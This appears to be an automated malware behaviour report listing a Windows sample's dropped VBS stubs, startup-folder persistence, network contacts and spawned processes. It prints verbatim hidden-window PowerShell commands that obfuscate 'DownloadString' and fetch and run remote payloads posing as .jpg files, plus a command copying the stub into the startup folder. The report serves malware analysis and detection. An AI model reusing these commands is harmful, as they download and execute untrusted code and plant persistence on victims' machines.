Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\stub1.vbs
Modifies file system
Creates the following files
- %TEMP%\stub.vbs
- %TEMP%\stub1.vbs
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
Network activity
Connects to
- 'ta###.publicvm.com':4
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK g.###4top.io
- DNS ASK c.###4top.io
- DNS ASK microsoft.com
- DNS ASK ta###.publicvm.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\STUB.VBS"
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\STUB1.VBS"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://g.top4top.io/p_1598qmv8w1.jpg')' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\STUB1.VBS',[System.IO.File]::ReadAllText('%TEMP%\STUB1.VBS'))"' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://c.top4top.io/p_1598vm72x1.jpg')' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://g.top4top.io/p_1598qmv8w1.jpg')
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\STUB1.VBS',[System.IO.File]::ReadAllText('%TEMP%\STUB1.VBS'))"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://c.top4top.io/p_1598vm72x1.jpg')
